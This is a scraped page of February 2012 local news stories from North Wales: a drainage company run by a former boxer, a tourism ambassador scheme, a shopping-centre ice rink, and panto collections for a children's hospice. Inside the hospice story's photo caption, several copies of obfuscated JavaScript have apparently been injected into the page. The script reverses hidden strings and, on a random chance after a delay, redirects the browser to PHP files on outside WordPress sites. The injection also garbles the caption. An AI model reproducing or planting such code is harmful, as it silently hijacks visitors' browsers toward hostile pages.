Category: News

Drainage boss still packs a punch

MD Coxey and Company Limited.....................Pictured is former boxer Steve Kavanagh of ANL drainage with (Left) Gill Atkinson and Rhian Williams of MD Coxey and Company Limited, Wrexham.

A former top boxer from North Wales is still punching above his weight in business.

According to Steve Kavanagh, the boss of Wrexham-based ANL Drainage, the discipline he learned in the ring is still standing him in good stead more than 30 years later.

Steve, 56, also runs a building firm, R & S Construction, with his older brother Robert, but, given the current economic climate, it’s the drainage company that’s taking up most of his time and energy.

He is being kept on his toes by new regulations that mean that property owners have to register their septic tanks as part of a massive upgrading of drainage systems by the Environment Agency.

One of the keys to their business success, says Steve, is the expert advice and strategic guidance he’s received from Chartered Accountants Coxeys, who have offices in Wrexham and Saltney.

Steve said: “The support and guidance we have had from Coxeys has been absolutely magnificent.

“The business advice from Gill Atkinson has been spot on and, in uncertain times economically, has ensured that the company remains on firm financial foundations supporting business growth.

“In between her visits, we can always pick up the phone and any issues can be sorted out immediately.

“It gives us peace of mind to concentrate on the things that we are good at.”

Steve, who lives in Bradley, was a member of the Llay Boxing Club under the charismatic tutelage of the well-known local policeman, Jim Jones.

He boxed for Wales in his early twenties – first as a light middleweight and then as a middleweight – and rubbed shoulders with legends like Sir Henry Cooper (then plain Our ‘Enery), John Conteh and Pat Cowdell.

Steve added: “My background as a boxer has certainly helped me in my business life, boxing instills discipline and the ability to focus on what is important to achieve your goals.

“I wasn’t good enough to turn professional but the lessons I learned then have stayed with me.

“To be a success in business, you also need a good accountant and we have been with Coxeys for more than 20 years.

“ANL Drainage, which we bought about nine years ago, is now the main part of our business.

“We do lots of work for the local authorities like and housing associations like Cymdeithas Tai Clwyd and Wrexham County Borough Council as well as other public bodies, businesses and households across North Wales and the North West.

“These days we are being kept particularly busy by changes in the Environment Agency’s regulations.

“They now require property owners who have septic tanks to register them.

“I think it’s fair to say they have been inundated so the deadline for registration has been extended.

“They require you to advise them what your septic tank is like, whether or not you are disposing into a watercourse or into a very good soak away system.

“Where you are disposing into a water course, we can fit  sewage treatment conversion units to existing septic tanks as well as fitting new septic tanks where they’re needed.

”We can cater for septic tanks that cater for between four and 25 people so that’s perfectly fine for most domestic and small business needs.

“If you don’t get it done, it can lead to complications further on down the line.

“For example, if you’re selling a property and the search shows the septic tank is not registered.

“At some point, if someone hasn’t , they can expect a knock on the door eventually.”

Gill Atkinson said: ” We are delighted that we have been able to play our part in the ANL Drainage success story.

“They are great ambassadors for local business and industry, SMEs like this are the backbone of our economy.”

For more information go to www.anldrainage.co.uk. Alternatively, you can email
info@anldrainage.co.uk or  ring 01978 721111.

 

Wednesday February 8th, 2012

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Career in tourism is just champion

Dewi Davies of Tourism Partnership North Wales Launch of Hospitality Ambassadors. Dewi Davies with Chris Evans of the Ruthin Castle.

Up to 16 Hospitality Ambassadors are being sought to inspire more young people to work in the tourism industry.

The initiative is part of the strategy of Tourism Partnership North Wales to propel the region into the Top Five visitor destinations in the UK.

The project, being run by Tourism Partnership in conjunction with Careers Wales, is believed to be one of the first of its kind in the UK.

They are looking for managers or entrepreneurs who are already working in tourism who can act as role models for a new generation to sign up for a career in the industry.

The successful candidates will be invited to a training course that’s being held at the Imperial Hotel, in Llandudno, on February 20 and 21.

Project Manager Alan Davies said: “If North Wales is to become a top five UK destination, our customer care will also need to be top end.

“The main aim of this  initiative is to raise the profile of a career in the hospitality industry, emphasising that it offers really good prospects and encouraging young people to see us as a first choice career option.

“We want to recruit between 14 and 16 Hospitality Ambassadors from within the industry across North Wales.

“They would typically be people working as managers or entrepreneurs running their own business in the hospitality industry.

“They will go into schools to  inspire the young people aged between 14 and 16 by telling them about their experiences and explaining why they find tourism an exciting industry to work in.

“The ideal Hospitality Ambassador will have a passion for the industry and be an excellent role model.

“The two day course will provide training on presentation and engagement skills so our new Hospitality Ambassadors will be able to hit the ground running when they start their school visits in March.

Dewi Davies, the Regional Strategy Director of Tourism Partnership North Wales, is a strong advocate of the project.

He said: “Our vision is to make North Wales one of the Top Five UK destinations for visitors.

“We’re not going to achieve that unless we provide absolutely brilliant experiences for our customers, and much of that of course is provided by people who work in the industry.

“We therefore need to recruit the right people into the industry, young people who’ll see hospitality and tourism as a really great career.

“Tourism is a vital part of the North Wales economy. It brings in £2.1 billion and it employs the best part of 40,000 people. 30,000 in the front line dealing directly with customers, and that’s how important it is. It’s nearly 10% of our economy.

“If we didn’t have a visitor economy we’d have a much weaker regional economy, and as we see in the tough economic times that we are in now the visitor sector is much less affected than many of the manufacturing and service industry.

“First impressions do count, and really we want the people to give that absolutely fantastic experience to customers when they arrive.

“We know in the modern world how quickly the message gets around if you’re a good business or provide a bad experience.

“We’re competing against so many other destinations within a couple of hours from us here in North Wales, so we’ve really got to be top notch with innovative products, with great people who are really committed to delivering experiences that leave our customers wanting to come back here.”

Anybody wanting more information about the Hospitality Ambassadors scheme and the training course should contact Llinos Cunnah at Tourism Partnership North
Wales, either by ringing 01745 585440 or emailing her at to:llinos.cunnah@tpnw.org">llinos.cunnah@tpnw.org

Tuesday February 7th, 2012

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Top ice dancers get their skates on

Opening of ice rink at Eagles Meadow Wrexham. Pictured is the Lord Mayor of Wrexham Ian Roberts the Mayoress Hillary Roberts, Centre Manager Kevin Critchley and ice skaters Tom Gregory and Cara McGovern.

Two of Wales’s brightest ice skating stars have experienced what it’s like to perform at the Winter Olympics.

Cara McGovern, 18, from Hope, and her ice dancing partner Tom Gregory, 21, from Blacon, Chester, performed a dazzling routine at the official opening of a new rink at the Eagles Meadow shopping centre in Wrexham.

The rink was installed by the firm who provided the same synthetic ice surface for the opening and closing ceremonies of the 2010 Vancouver Winter Olympics.

It was declared officially open by the Mayor and Mayoress of Wrexham, Cllr Ian Roberts and his wife, Hilary.

The winter attraction will be there until Sunday, February 19, and will be open from Wednesday to Sunday  part from the half term school holiday when it will be open every day.

Cllr Roberts said: “This is a fantastic new attraction for the people of Wrexham to enjoy. And, with Christmas over, it’s lovely to have a new activity here in Eagles Meadow to brighten up these grey winter days.”

“I understand the company, Ice Magic, installed a very similar skating rink on the roof of Harrods for a TV advert, as well as supplying rinks for use in several Harry Potter films.

“We are indeed lucky to have such a high-profile facility here in Eagles Meadow for people to enjoy.

“I’d like to thank Ice Magic and the management here at Eagles Meadow for installing the rink and would encourage everyone to give it a go!”

Cara and Tom treated the crowd to a display of their Adagio skating which is a form of pair skating most commonly seen in ice shows and involves spectacular acrobatic lifts.

After their first outing on the synthetic ice, the girlfriend/boyfriend team declared themselves extremely impressed with the surface.

They hope to join a professional ice touring company in the near future.

Cara said: “I think the rink is brilliant and a great introduction to skating.

Tom Gregory added: “I think it’s a fantastic  attraction to have in Eagles Meadow and I hope the public really gets behind it and gives it a go. It is certainly lots of fun.”

Small children can enjoy the experience too with specially designed penguins on hand to help them be pushed around the synthetic ice.

First to try out the penguins were Martha Klimaszewski, three, of Minera, Courtney Hughes, four, and Mason Hall, three, of Wrexham.

Martha’s mum, Claire Klimaszewski said: “I think it’s a brilliant idea and I’m sure children will love having a go at skating. The penguins are brilliant and a great idea.

“Mason’s mum, Jade Thomas, agreed adding: “I can see the skating rink becoming very popular while it is here in Eagles Meadow.”
Trevor Collins the Worldwide Sales Director of Ice Magic, who manufacture the synthetic ice rinks, says the company is the world’s leading supplier.

He said: “This is as close as you can get to real ice but without the need for gas guzzling generators to keep everything frozen.

“Our skating rinks are also more user friendly as you don’t get a film of lying water on top which leaves anyone who falls down soaked to the skin.

And according to Trevor, Ice Magic skating rinks have been used instead of real ice on numerous TV and film sets as well as the filming of commercials.

He said: “We were very pleased to be able to supply a skating rink to Harrods and it was used to film their Christmas TV and web campaign. Sky used a Ice magic skating rink for their Christmas Sky movies advert too.

“It’s a family friendly experience that will make shopping days that bit more fun.”

Tuesday February 7th, 2012

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Panto boost for children’s hospice

Hope House receive a collection for more than ?400 from collections at the Stiwt during the Christmas Pan$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to period. Pictured is John Matthews, Rachel Jones, fundraiser for Hope House and from the Stiwt Vicky Williams and Rebecca Griffiths, the manager of the Stiwt.

The magic of panto helped raise vital funds for a cash-strapped children’s hospice.

Audiences who enjoyed Cinderella at the Stiwt Theatre, in Rhos, also dug deep in aid of Hope House.

The organisation needs to raise £4 million a year to maintain their services for children with life-limiting conditions.

They have two hospices, Hope House near Oswestry and Ty Gobaith in the Conwy Valley.

The charity is currently helping more than 500 families from across North and Mid Wales, Cheshire and Shropshire.

The hospice organisation is the Stiwt’s chosen charity and on Sunday, March 4, staff from the theatre will be taking part in their 10-mile sponsored walk along the Llangollen Canal.

The panto starred ex-Big Brother favourite Nikki Grahame as the Fairy Godmother and pop heart-throb Andy Scott Lee who played Prince Charming.

Hope House Ambassador John Matthews, who lives in Rhos, was on duty virtually every day during the successful panto.

Mr Matthews, who has raised around £30,000 for the hospice over the years, paid tribute to the generosity of the panto audiences who chipped in with a total of nearly £500.

Mr Matthews said: “I’ve been doing things for charity since I was in college 40 odd years ago.

“The Stiwt helped by selling magic reindeer food and being an artist I drew my own Christmas cards which were also sold.”

Hospice fund-raiser Rachel Jones said: “John is amazing, he’s been a volunteer for us for many years, and he works tirelessly within the local community to raise the profile of Hope House and also a lot of funds for us.

“The Stiwt is making a great contribution. We’ve been their chosen charity for the panto at the Stiwt for the past two years.

“We’re looking to do more fundraising with them this year which will be fantastic.

“The Stiwt is a really important local venue and it helps raise the profile and also much needed funds.

“It’s lovely that children are helping children and we want to say a huge thank you to everyone  across the area who was an audience member who chose to put money in our tins.

“We look after over 500 families now, all facing the heartache of having a child or have had a child with a terminal illness.

“We offer respite for the families, and also a huge amount of bereavement and counselling support.

“The money is so important because it costs us about £4 million every year to keep the doors open and the services running.”

Stiwt Manager Rebecca Griffiths added:  “A children’s hospice certainly puts everything else into perspective – we really don’t know how lucky we
are.

“The work of Hope Houses Children’s Hospices at both Oswestry and Conwy is as vital as it is amazing.

“I think what they do is really vital to enriching the lives of families who have a really tough time.

“It made sense to me that we should be helping such an important service, particularly because it’s high on our agenda to support and enrich the lives of children and young people no matter what their circumstances.”

Anybody who would like to make a donation to Hope House and Ty Gobaith should contact the fund raising office either by ringing 01691 671671 or emailing to:fundraising@hopehouse.org.uk">fundraising@hopehouse.org.uk. More information is also available on the website: www.hopehouse.org.uk

 

Tuesday February 7th, 2012

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